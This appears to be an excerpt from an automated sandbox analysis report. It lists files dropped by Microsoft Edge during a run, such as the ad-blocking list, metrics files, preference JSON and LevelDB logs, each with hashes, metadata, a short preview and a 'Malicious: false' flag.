MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675B0571-1F98.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04753366253807956
Encrypted:	false
SSDEEP:	192:5zkCmX20pqtmqhnOAQJY8J/7qiRD80JVFg8XJLIyhEHsBzhEhNG0v+RQ8TfaQDbs:OzX20cttWV6anhcRmvaQDb08T2RGOD
MD5:	968E7781A05254FA44D187E60E66F8A2
SHA1:	E1B90889FAA502122FFB4F29A4A8940132817BCD
SHA-256:	039591D0BD5655CF5BB44E77076C5C46EB09D1E0A7E71636BC65ED92C84C4994
SHA-512:	A868F84F6B8B44E4BEE19C0EBF307C7C71990D8428350D60EB06622DCF20AB8C9F911E4BFF0CBE5A4F32815D7FC2B45BE3A8CA2572B6AE3443F7C10ECFC586B3
Malicious:	false
Preview:	...@..@...@.....C.].....@...............hi.. Y..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".onoaly20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2.........5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0557aadb-e21c-4b20-b993-7960e9c4f25b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17416), with no line terminators
Category:	dropped
Size (bytes):	17418
Entropy (8bit):	5.487672310252668
Encrypted:	false
SSDEEP:	384:stmPGQSu4BsH+cXkSQuQBxjDfeTSbGAQw/ef7NIr:s0OXuR+c74TbGPbI
MD5:	3888EFB47183D8305B0F48B406A5CCB9
SHA1:	1CDE7FF68617334948CB588FAA1CF01A98915913
SHA-256:	BC16F4C91D72BC912F05DBA773E9354D4A07B4FFFBD1B7EDB4DE9CB7CDABC607
SHA-512:	F7117E7A616DB39F6B1C1B5C800395A1F61A6C41CCD16ADB79963EC0F7921925725A1E5B69B0134E1D3E52A210F0A76C95BA9743FD1DDBBA364A9E587026F372
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0a659405-77f3-44c5-bb6f-28bf5d59e1a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.56073106252247
Encrypted:	false
SSDEEP:	768:bfiWZY7pLGLPmkWPaofem8F1+UoAYDCx9Tuqh0VfUC9xbog/OVMQ07NyVrwUDtXv:bfiWZEcPmkWPaofemu1jaBQ0pyeUDtXv
MD5:	D4363B2DA4A950724E19ED6F3275A709
SHA1:	8D969A2BF44986C3B8F3670A684BBFD61E37B822
SHA-256:	7941761AF30989C308EF87218E1C86D621F1FBCD341E44FDAA07B35C71B680CF
SHA-512:	DBBA885AF5376A9DD69C490623F3F0FDEACF7CEFBC8A85F81BA0FC291E53F2E0F8CF1B4681D14A1361ECEADF196C5F92649D32D15149D6A1602616CD7485C8C3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a7f424c-1ab6-40b6-bcab-b07195b60c90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557268212323932
Encrypted:	false
SSDEEP:	768:buwW3Y7pLGLPBkWPaofbm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7N1VrwIpq8tu8:buwW3EcPBkWPaofbmu1jazp1el8tz
MD5:	AFB1A745453CF6C0DA14BE79C3295AB7
SHA1:	B0E2B1BF369283135370E6E2DDA6A8DC32930E47
SHA-256:	86105BFE5DE327015036B03AD7967460E63DDF7E55D2C44B661B9D5D84ED823D
SHA-512:	2C406FF3E1272DA700B35A30B9A0FBF486137AF2491933CE39AB7D6841D5A13FC858491D6B6390453C037F32803C7D2A996298A8A2D7D6007436F3360E232447
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7a704747-cfc0-416b-98bf-0842df5c1e1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16658), with no line terminators
Category:	dropped
Size (bytes):	16660
Entropy (8bit):	5.451864160649304
Encrypted:	false
SSDEEP:	384:stmPGQSu4BsH+cXQuQBxjDfeTSbGAQw/V7NIr:s0OXuR+coTbGP6I
MD5:	C263A8105C27DB1B3F70640E87332ADE
SHA1:	B58BA234B074D82823C0F61CA5CCBB53FD200BF2
SHA-256:	EF602D3A3D45832C20D55144F01EF348F5ACCF9B56C93119033FAB8739F2DA40
SHA-512:	DA47D25DB733B977617684256C677DAEC63313B7E7C6BC9B870483B5A77926B6D97E7A606B89AFFAABEFAFE7691E282D050677B990E1AAB896D45130C53A1AD2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\814c00ce-e7e3-47fc-abfc-16e94a1a8df9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\94686e70-99aa-4957-934e-84a669c9e830.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.111112957213591
Encrypted:	false
SSDEEP:	192:stmkdpBsH+cIa34HkL1282bV+FgjQA4YDq7NI2P3YJ:stmQBsH+cXUbGAQxV7NIr
MD5:	5805EE16F8E9F1633A744E941939A09C
SHA1:	DCA6DC2C4A24B0829D89B326F1E82CC541C30DF4
SHA-256:	FCFF659BF8D961F2F0326E15C2A595AA0C5F485C01A3C8FE45E0BB295EACACC9
SHA-512:	61277EEC3AD0C93B3BC247602AF57C1540C086F436FBA7B35976322CF886C907309744B6CFDE78D4F8557AF47ABF141661DA8E168C8A8A4AE42DBC07E528A11C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99dc9c95-d01f-4298-9ef7-56c705ef771f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	600018
Entropy (8bit):	7.210298356347492
Encrypted:	false
SSDEEP:	12288:/721JH7SgyIhkNEqeyZ/CSCqEzz5SaOP7Hc/83:/Wt7SgyfNEq1Z/jvQzEaE283
MD5:	8816CBEE764B7E6C475E719A4D07E816
SHA1:	17B7D0F3BE570BDFA4F0432B5548EAC47B8DEEB7
SHA-256:	189FF030E67CE4BE27A04FA2056EE9DAEF53DCCDEAEEFFB16E179E5B96BDD46F
SHA-512:	98DD267203A4247426BB6DEF8D91A78791DD3CA69BBCBD9A6D81D697B706A0A89834E806EC794479D3FA5ADDCDB68E55682308350859D559A5DD97078050324D
Malicious:	false
Preview:	.\..'.[ASSET:arbitration_priority_list......\{. "configVersion": 32,...PrivilegedExperiences": [. "ShorelinePJ(..ID".D.'.HOPPING_AUTO_SHOW_COUPONS_CHECKOUT"f+.<LOWER_PRICE_FOUNnW..B.f.SEARCHj}..REBATES.".0_CONFIRMATION./.$DEACTIVATEn.......U..ORGANICj*.)..HISTORYj(..y.R._NEW......0SERVER_DRIVEN.1.PPERSONALIZED_CASHBACKj..R0.... URL_PARAM1.ji..,)U.COMPARISr..>5.....EXPRES...6\..AL...Gr..62....._PAGEj..6:..HOME.2..REWARDn`.u..LI..j..Q.mS.ION_FAIL.[.8SWITCHED_TO_MSAjf..NOTIFIC~..,OTHER_SELLERjN..ITEM_ADD.z CART_FROM.?..PROFESSIa.._REVIEWnM..VIRTUAL.hnp....CAMPAIGn..8PACKAGE_TRACKINF..$OPEN_FLYOU...EDGEi.n..,GUEST_DOMAINQ.jD.HSUSTAINABILITY_LANDN...L:1..PURCHASn..M..[.E.[..AT...LE....GIFT~..(PRINT_GROCEr..."E..b..CONTROz..!t,S_MARKETPLACnd....RUNNr...ABANDON...Rn...N.....A..OF_STOrZ.b,..y..PB../.,AWARENESSEXPF...A...SENr...AaA.&.....2...SCRIPna.0MOMENT_IN_TIMn........_MICRO.N..TREe..GF.."). RECOMMEND...S.h..PRODUCT..>.$SURFACE_UP..j..Bg....!Ej}.B4..EXPa..C.Q.OJ .!.B5..IM.5.....CODEX

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138099023603615
Encrypted:	false
SSDEEP:	24576:hKPcfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKUfqJmcx
MD5:	221F99F5489627235A08B5CC65640428
SHA1:	BAFB32DA273ACD1E6EF4371797AAC1F47847D58F
SHA-256:	FEA7A693A6445CDD52B488C897D3CD463C259B921A5E42225F56665C3F446FD6
SHA-512:	A11611198994ABA25547C8DEDC5505E1524346B07F71902FE4FC61B4AF561A1A2941596EB5CF2B80F692BBEFFFB94B24B844E33651D080574A8AD329828350DF
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.08944218787162
Encrypted:	false
SSDEEP:	6:75C/Y9+q2PCHhJ23oH+Tcwt9Eh1tIFUt8O5C83JZmw+O5CWGQf0PL5CrpQf7V+nk:7g/Y9+vBYeb9Eh16FUt8OgmJ/+OgWITJ
MD5:	C96C67ADE879A9622A9C53768E9F7EBA
SHA1:	D60C6E0FB51073E8AB2732B0B2CA0899052DFFF4
SHA-256:	77C6A337A21A2F04D3F3188AAE520AF7F1232D7085E6FF7C6EDF00119EADFDEC
SHA-512:	E0DB381A30B8B53AAE62E417F70494B3C52B86A17F7DE6AAEEF9BB4539A6C511E93D0891E646A28BE4BE992FB85157F83CC08E2966FB3D3E387740CF7E866035
Malicious:	false
Preview:	2024/12/12-10:50:04.182 18dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/12-10:50:04.184 18dc Recovering log #3.2024/12/12-10:50:04.200 18dc Level-0 table #3: started.2024/12/12-10:50:04.239 18dc Level-0 table #3: 600018 bytes OK.2024/12/12-10:50:04.247 18dc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.08944218787162
Encrypted:	false
SSDEEP:	6:75C/Y9+q2PCHhJ23oH+Tcwt9Eh1tIFUt8O5C83JZmw+O5CWGQf0PL5CrpQf7V+nk:7g/Y9+vBYeb9Eh16FUt8OgmJ/+OgWITJ
MD5:	C96C67ADE879A9622A9C53768E9F7EBA
SHA1:	D60C6E0FB51073E8AB2732B0B2CA0899052DFFF4
SHA-256:	77C6A337A21A2F04D3F3188AAE520AF7F1232D7085E6FF7C6EDF00119EADFDEC
SHA-512:	E0DB381A30B8B53AAE62E417F70494B3C52B86A17F7DE6AAEEF9BB4539A6C511E93D0891E646A28BE4BE992FB85157F83CC08E2966FB3D3E387740CF7E866035
Malicious:	false
Preview:	2024/12/12-10:50:04.182 18dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/12-10:50:04.184 18dc Recovering log #3.2024/12/12-10:50:04.200 18dc Level-0 table #3: started.2024/12/12-10:50:04.239 18dc Level-0 table #3: 600018 bytes OK.2024/12/12-10:50:04.247 18dc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF5b05c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.08944218787162
Encrypted:	false
SSDEEP:	6:75C/Y9+q2PCHhJ23oH+Tcwt9Eh1tIFUt8O5C83JZmw+O5CWGQf0PL5CrpQf7V+nk:7g/Y9+vBYeb9Eh16FUt8OgmJ/+OgWITJ
MD5:	C96C67ADE879A9622A9C53768E9F7EBA
SHA1:	D60C6E0FB51073E8AB2732B0B2CA0899052DFFF4
SHA-256:	77C6A337A21A2F04D3F3188AAE520AF7F1232D7085E6FF7C6EDF00119EADFDEC
